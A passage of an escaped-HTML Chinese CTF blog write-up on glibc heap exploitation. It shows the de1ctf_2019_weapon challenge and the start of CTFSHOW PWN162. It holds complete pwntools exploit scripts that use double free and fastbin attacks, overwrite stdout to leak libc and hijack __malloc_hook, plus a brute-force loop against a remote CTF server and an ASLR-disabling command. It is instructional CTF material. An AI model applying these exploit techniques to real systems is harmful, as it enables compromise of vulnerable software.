free\u6389\uff0c\u8fdb\u5165fastbin\uff0c\u518d\u901a\u8fc7\u5207\u5272chunk2\u628amain_arena\u504f\u79fb\u9001\u5230chunk3\u5904\uff0c\u5c31\u6210\u529f\u5b9e\u73b0\u4e86\u201c\u4e00\u4e2a\u540c\u65f6\u5728fastbin\u548cunsorted bin\u4e2d\u7684chunk\u201d\u7684\u6548\u679c\uff0c\u5c31\u80fd\u7533\u8bf7\u51famain_arena\u504f\u79fb\u5904\u7684chunk\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>free(2)\nfree(3)\nadd(0x50,8,'a')#\u628aunsorted bin\u6324\u5230fastbin<\/code><\/pre>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/5QE9QIIYZ45IMGNTC3JJ3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"546\" height=\"198\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/5QE9QIIYZ45IMGNTC3JJ3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-759\"  sizes=\"auto, (max-width: 546px) 100vw, 546px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n<\/div>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4f46\u662f\uff0c\u7533\u8bf7\u51famain_arena\u56fa\u5b9a\u504f\u79fb\u5904\u7684chunk\u4e0d\u9876\u7528\uff0c\u76ee\u6807\u662f\u80fd\u4fee\u6539stdout\uff0c\u4f46\u662f\u4e0d\u80fd\u76f4\u63a5\u7533\u8bf7stdout\u5904\uff0c\u56e0\u4e3afastbin\u6709\u68c0\u67e5\u3002\u6839\u636e\u7ecf\u9a8c\uff0c\u8ddd\u79bbstdout-0x43\u6709x7f\u80fd\u6ee1\u8db3\u68c0\u6d4b\uff0c\u6240\u4ee5\u9700\u8981\u62ff\u5230stdout-0x43\u5904\u7684chunk\uff0cstdout-0x43\u4e0emain_arena\u4ec5\u6709\u6700\u540e\u56db\u5b57\u8282\u4e4b\u5dee\uff0c\u800cstdout-0x43\u540e\u4e09\u5b57\u8282\u901a\u5e38\u662f\u56fa\u5b9a\u76845dd\uff0c\u6240\u4ee5\u4e0d\u786e\u5b9a\u7684\u5c31\u53ea\u5269\u4e00\u5b57\u8282\uff0c\u7206\u7834\u662f1\/16\u7684\u6982\u7387\uff1a<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/KMIZ_4ZSH20FBRZ609.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"645\" height=\"254\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/KMIZ_4ZSH20FBRZ609.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-760\"  sizes=\"auto, (max-width: 645px) 100vw, 645px\" \/><\/div><\/figure>\n<\/div>\n\n\n\n<p>\uff08\u67e5\u770bstdout\u5730\u5740\u65b9\u6cd5 p &amp;stdout\uff09<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u7531\u4e8e\u662f\u6982\u7387\u6210\u529f\uff0c\u6240\u4ee5\u5efa\u8bae\u5728\u672c\u5730\u628aASLR\u5173\u6389\uff0c\u65b9\u4fbf\u8c03\u8bd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sysctl -w kernel.randomize_va_space=0<\/code><\/pre>\n\n\n\n<p>\u6539\u5199stdout\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(0x50,9,'\\xdd\\x15')#\u628aunsorted bin\u53d6\u5b8c\uff0c\u540e\u9762\u518d\u7533\u8bf7\u624d\u80fd\u5f80fastbin\u91cc\u9762\u53d6\uff0c\u8fd9\u4e00\u6b65\u540c\u65f6\u4fee\u6539fd\nadd(0x60,10,'a')\nadd(0x60,11,b'a'*<em>0x33+p64(0xfbad1800)+p64(0)<\/em>*3+b'\\x00')#\u7533\u8bf7\u4e24\u6b21\u5c31\u80fd\u62ff\u5230\u76ee\u6807\u5730\u5740chunk\uff0c\u76f4\u63a5\u7533\u8bf7\u540c\u65f6\u4fee\u6539stdout.<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\uff0c\u4fee\u6539\u6210\u529f\u540e\u9a6c\u4e0a\u5c31\u6709\u4e1c\u897f\u7206\u51fa\u6765\u4e86\uff1a<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/DADBQ5Z57VMNR8AJ@TLCM.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"646\" height=\"232\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/DADBQ5Z57VMNR8AJ@TLCM.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-763\"  sizes=\"auto, (max-width: 646px) 100vw, 646px\" \/><\/div><\/figure>\n<\/div>\n\n\n\n<p><\/p>\n\n\n\n<p>\u628a\u63a5\u6536\u7684\u7b2c\u4e00\u4e2ax7f\u5f00\u5934\u7684\u6253\u5370\u51fa\u6765\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u5b83\u4e0elibc\u57fa\u5740\u5dee\u4e860x3c4600(\u6211\u7528\u7684\u672c\u5730libc\uff0c\u9898\u76ee\u539f\u9898libc\u5e94\u8be5\u662f0x3c5600)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/N9RWD_PBU_C37N61S2C-1024x401.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"401\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/N9RWD_PBU_C37N61S2C-1024x401.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-765\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u90a3\u4e48\u5c31\u80fd\u7b97\u51falibc\u57fa\u5740\u4e86\uff0c\u7136\u540e\u7b97one_gadget\uff0c\u7528UAF\uff08double free\u4e5f\u884c\uff09\u628amalloc_hook\u6539one_gadget\u5c31\u884c<\/p>\n\n\n\n<p>\u4f46\u662f\u6211\u5728\u6539malloc_hook\u4e3aone_gadget\u540e\uff0c\u518dadd\u89e6\u53d1\u4e0d\u4e86one_gadget\uff0c\u53ef\u80fd\u662f\u5f97\u7528realloc\u6765\u8c03\u4e00\u4e0b\u6808\u73af\u5883\uff0c\u4e0d\u8fc7\u6211\u5728\u522b\u7684\u5e08\u5085\u90a3\u5b66\u5230\u53ef\u4ee5\u89e6\u53d1double free\u68c0\u6d4b\u6765getshell\uff0c\u539f\u7406\u662f\u4ec0\u4e48\u8fd8\u4e0d\u592a\u6e05\u695a\u3002<\/p>\n\n\n\n<p>\u672c\u5730\u5df2\u7ecf\u6253\u901a\uff0cexp\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nio=process('\/home\/monke\/PWN\/IO\/de1ctf_2019_weapon')\nelf = ELF('\/home\/monke\/PWN\/IO\/de1ctf_2019_weapon')\nlibc = ELF('\/home\/monke\/Desktop\/glibc-all-in-one\/libs\/2.23-0ubuntu3_amd64\/libc-2.23.so')\n\ndef add(size,index,content):\n    io.sendlineafter('choice &gt;&gt; ','1')\n    io.sendlineafter('wlecome input your size of weapon: ',str(size))\n    io.sendlineafter('input index:',str(index))\n    io.sendafter('input your name:',content)\n\n\ndef edit(index,content):\n    io.sendlineafter('choice &gt;&gt;','3')\n    io.sendlineafter('idx: ',str(index))\n    io.sendafter('content:',content)\n\ndef free(index):\n    io.sendlineafter('choice &gt;&gt;','2')\n    io.sendlineafter('idx :',str(index))\n\n\ndef pwn():\n\n    add(0x50,0,'aaaa')\n    add(0x50,1,b'a'*0x40+p64(0)+p64(0x6f))#\u5728chunk2\u4e0a\u65b9\u4f2a\u9020fakechunk\u7684size\n    add(0x50,2,'aaaa')\n    add(0x60,3,'aaaa')\n    add(0x50,4,'aaaa')\n    add(0x60,5,'aaaa')\n\n    free(0)\n    free(1)\n    free(0)\n\n    add(0x50,0,'\\xb0')#\u628achunk0\u7684fd\u6307\u9488\u6539\u5230fakechunk\u5904\n    add(0x50,1,'aaaa')\n    add(0x50,0,'aaaa')\n    add(0x50,7,p64(0)+p64(0xd1))#\u901a\u8fc7fakechunk\u4fee\u6539chunk2\u7684size\n\n    free(2)\n    free(3)\n    add(0x50,8,'a')#\u628aunsorted bin\u6324\u5230fastbin\n    add(0x50,9,'\\xdd\\x45')#\u628aunsorted bin\u53d6\u5b8c\uff0c\u540e\u9762\u518d\u7533\u8bf7\u624d\u80fd\u5f80fastbin\u91cc\u9762\u53d6\n\n    add(0x60,10,'a')\n    add(0x60,11,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\\x00')\n    #\u7533\u8bf7\u4e24\u6b21\u5c31\u80fd\u62ff\u5230\u76ee\u6807\u5730\u5740chunk\uff0c\u76f4\u63a5\u7533\u8bf7\u540c\u65f6\u4fee\u6539stdout.\n\n\n    libc_base = u64(io.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))-0x3c4600\n    print(hex(libc_base))\n    malloc_hook = libc_base + libc.sym&#91;'__malloc_hook']\n    one = &#91;0x4525a]\n    one_gadget = libc_base+one&#91;0]\n    print(hex(one_gadget))\n    \n\n    add(0x60,12,'a')\n    add(0x60,13,'a')\n    free(12)\n    free(13)\n    edit(13,p64(malloc_hook-0x23))\n    add(0x60,14,'a')\n    add(0x60,15,b'a'*0x13+p64(one_gadget))\n    free(0)\n    free(0)\n    \npwn()\nio.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/F9UDI749S5YMA7EOANFHJ.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"643\" height=\"417\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/F9UDI749S5YMA7EOANFHJ.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-768\"  sizes=\"auto, (max-width: 643px) 100vw, 643px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fdc\u7a0b\u7684\u8bdd\u9700\u8981\u7206\u7834\uff0c\u7528try except\u6765\u7206\u7834\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\nelf = ELF('\/home\/monke\/PWN\/IO\/de1ctf_2019_weapon')\nlibc = ELF('\/home\/monke\/PWN\/buulibc\/libc-2.23-64.so')\n\ndef add(size,index,content):\n    io.sendlineafter('choice &gt;&gt; ','1')\n    io.sendlineafter('wlecome input your size of weapon: ',str(size))\n    io.sendlineafter('input index:',str(index))\n    io.sendafter('input your name:',content)\n\n\ndef edit(index,content):\n    io.sendlineafter('choice &gt;&gt;','3')\n    io.sendlineafter('idx: ',str(index))\n    io.sendafter('content:',content)\n\ndef free(index):\n    io.sendlineafter('choice &gt;&gt;','2')\n    io.sendlineafter('idx :',str(index))\n\n\ndef pwn():\n\n    add(0x50,0,'aaaa')\n    add(0x50,1,b'a'*0x40+p64(0)+p64(0x6f))#\u5728chunk2\u4e0a\u65b9\u4f2a\u9020fakechunk\u7684size\n    add(0x50,2,'aaaa')\n    add(0x60,3,'aaaa')\n    add(0x50,4,'aaaa')\n    add(0x60,5,'aaaa')\n\n    free(0)\n    free(1)\n    free(0)\n\n    add(0x50,0,'\\xb0')#\u628achunk0\u7684fd\u6307\u9488\u6539\u5230fakechunk\u5904\n    add(0x50,1,'aaaa')\n    add(0x50,0,'aaaa')\n    add(0x50,7,p64(0)+p64(0xd1))#\u901a\u8fc7fakechunk\u4fee\u6539chunk2\u7684size\n    \n    free(2)\n    free(3)\n    add(0x50,8,'a')#\u628aunsorted bin\u6324\u5230fastbin\n    add(0x50,9,'\\xdd\\x45')#\u628aunsorted bin\u53d6\u5b8c\uff0c\u540e\u9762\u518d\u7533\u8bf7\u624d\u80fd\u5f80fastbin\u91cc\u9762\u53d6\n    add(0x60,10,'a')\n    #gdb.attach(io)\n    add(0x60,11,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\\x00')\n    #\u7533\u8bf7\u4e24\u6b21\u5c31\u80fd\u62ff\u5230\u76ee\u6807\u5730\u5740chunk\uff0c\u76f4\u63a5\u7533\u8bf7\u540c\u65f6\u4fee\u6539stdout.\n    \n    libc_base = u64(io.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))-0x3c5600\n    print(hex(libc_base))\n    malloc_hook = libc_base + libc.sym&#91;'__malloc_hook']\n    one = &#91;0x45216,0x4526a,0xf02a4,0xf1147]\n    one_gadget = libc_base+one&#91;2]\n    print(hex(one_gadget))\n    \n    add(0x60,12,'a')\n    add(0x60,13,'a')\n    free(12)\n    free(13)\n    edit(13,p64(malloc_hook-0x23))\n    add(0x60,14,'a')\n    add(0x60,15,b'a'*0x13+p64(one_gadget))\n    free(0)\n    free(0)\n    \n    io.interactive()\n    \nif __name__=='__main__':\n    while True:\n        #io=process('.\/de1ctf_2019_weapon')\n        io = remote('node5.buuoj.cn','26378')\n        try:\n            pwn()\n        except:\n            io.close()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/4H0UKP@J7W2@5ON5CV3A0-1024x427.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"427\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/4H0UKP@J7W2@5ON5CV3A0-1024x427.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-772\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BE%8B%E9%A2%982%EF%BC%9ACTFSHOW_PWN162\"><\/span>\u4f8b\u98982\uff1aCTFSHOW PWN162<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u8fd9\u9053\u9898\u662f\u72ec\u7acb\u505a\u51fa\u6765\u7684\uff0c\u628a\u5b8c\u6574\u601d\u8def\u5199\u4e86\u4e0b\u6765\uff0c\u5305\u62ec\u9047\u5230\u7684\u5404\u79cd\u5751\u548c\u7591\u60d1\uff0c\u6240\u4ee5\u53ef\u80fd\u4f1a\u6bd4\u8f83\u7e41\u7410\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%88%86%E6%9E%90-2\"><\/span>\u5206\u6790<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>add\u51fd\u6570:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-24.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"645\" height=\"917\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-24.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-794\"  sizes=\"auto, (max-width: 645px) 100vw, 645px\" \/><\/div><\/figure>\n\n\n\n<p>\u6839\u636eadd\u51fd\u6570\u53ef\u4ee5\u770b\u51fachunk\u7684\u7ed3\u6784\u4f53<\/p>\n\n\n\n<p>chunk{<\/p>\n\n\n\n<p>*flag<\/p>\n\n\n\n<p>*buf \/\/name<\/p>\n\n\n\n<p>char s[23] \/\/message<\/p>\n\n\n\n<p>}<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>delete\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-25.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"738\" height=\"518\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-25.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-795\"  sizes=\"auto, (max-width: 738px) 100vw, 738px\" \/><\/div><\/figure>\n\n\n\n<p>\u5148\u628aflag\u7f6e\u4e3a0\uff0c\u7136\u540e\u628abuf\u7ed9free\u6389\uff0c\u4f46\u662f\u6ca1\u7f6e\u4e3aNULL\uff0c\u6240\u4ee5\u53ef\u80fd\u6709UAF\u6216double free\u3002\u800c\u4e14\u6ce8\u610f\uff0c\u53eafree\u4e86buf\uff0c\u6ca1\u6709free\u7ed3\u6784\u4f53\u672c\u8eab\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>show\u51fd\u6570\uff0c\u6ca1\u5565\u7528\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-26.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"747\" height=\"405\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-26.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-796\"  sizes=\"auto, (max-width: 747px) 100vw, 747px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u53ea\u6709add\u548cdelete\uff0c\u7531\u4e8e\u6ca1\u6709edit\uff0c\u7528\u4e0d\u4e86uaf\u53ea\u80fd\u7528double free\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E8%BF%87%E7%A8%8B-2\"><\/span>\u8fc7\u7a0b<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u9996\u5148\u5229\u7528stdout\u6cc4\u9732libc\u3002<\/p>\n\n\n\n<p>1.\u5199\u5165main_arena\uff0c\u5e76\u6539\u5199\u540e\u4e24\u5b57\u8282\u6210&#8221;\\xdd\\x45&#8243;\uff08\u5373stdout-0x43\uff09\uff1a<\/p>\n\n\n\n<p>\u672c\u9898\u76eechunk\u7533\u8bf7\u5927\u5c0f\u9650\u5236\u57280x7f\u5185\uff0c\u53ef\u4ee5\u7533\u8bf7\u5230unsorted bin\u5927\u5c0f\u7684chunk\u3002\u5148free\u6389\u4e00\u4e2aunsorted bin\u5927\u5c0f\u7684chunk\uff0c\u5b83\u4f1a\u5f80\u5806\u5185\u5b58\u5199\u5165main_arena+0x??\uff0c\u7136\u540e\u628amain_arena\u6539\u5199\u6210&#8221;\\xdd\\x45&#8243;\u3002<\/p>\n\n\n\n<p>\uff08\u7a0b\u5e8f\u5728add\u7684\u65f6\u5019\u4f1a\u81ea\u52a8malloc(0x28)\u7684chunk\uff0c\u8fd9\u4e00\u70b9\u9700\u8981\u6ce8\u610f\uff09<\/p>\n\n\n\n<p>\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u5df2\u7ecf\u6210\u529f\u5199\u5165\uff0c\u5176\u4e2dchunk0\u8bbe\u7f6e\u4e3a0x20\uff0c\u7528\u4e8eadd\u6539\u5199main_arena\u65f6\u5019\u521a\u597d\u88ab\u7cfb\u7edf\u81ea\u521b\u7684chunk\u53d6\u8d70\uff1bchunk1\u5373unsorted bin chunk\uff1bchunk2\u907f\u514d\u4e0etop chunk\u5408\u5e76\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/MPF39E1_ZL3MQ8AJN3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1009\" height=\"380\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/MPF39E1_ZL3MQ8AJN3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-797\"  sizes=\"auto, (max-width: 1009px) 100vw, 1009px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>2.fastbin attack\u62ff\u5230stdout-0x43\u5904chunk<\/p>\n\n\n\n<p>\u5229\u7528double free\uff0c\u628afd\u6307\u9488\u6700\u540e\u4e00\u4f4d\u6539\u6210&#8221;\\x90&#8243;\uff08\u5373fd\u4e3a\u7be1\u6539\u540e\u7684main_arena\u5904\uff09\u5373\u53ef\uff0c\u4f46\u662f\u7528\u4e8edouble free\u7684\u4e24\u4e2achunk\u9700\u8981\u5728unsorted bin\u7684\u90a3\u4e2achunk\u524d\u9762\u7533\u8bf7\uff0c\u4e0d\u7136\u6bd4unsorted bin chunk\u5730\u5740\u5927\u7684\u8bdd\uff0c\u5c31\u4e0d\u53ea\u662f\u6700\u540e\u4e00\u5b57\u8282\u4e0d\u4e00\u6837\u4e86,\u5982\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/CHJMIXCSO65J90X4S-1024x479.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"479\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/CHJMIXCSO65J90X4S-1024x479.png\" 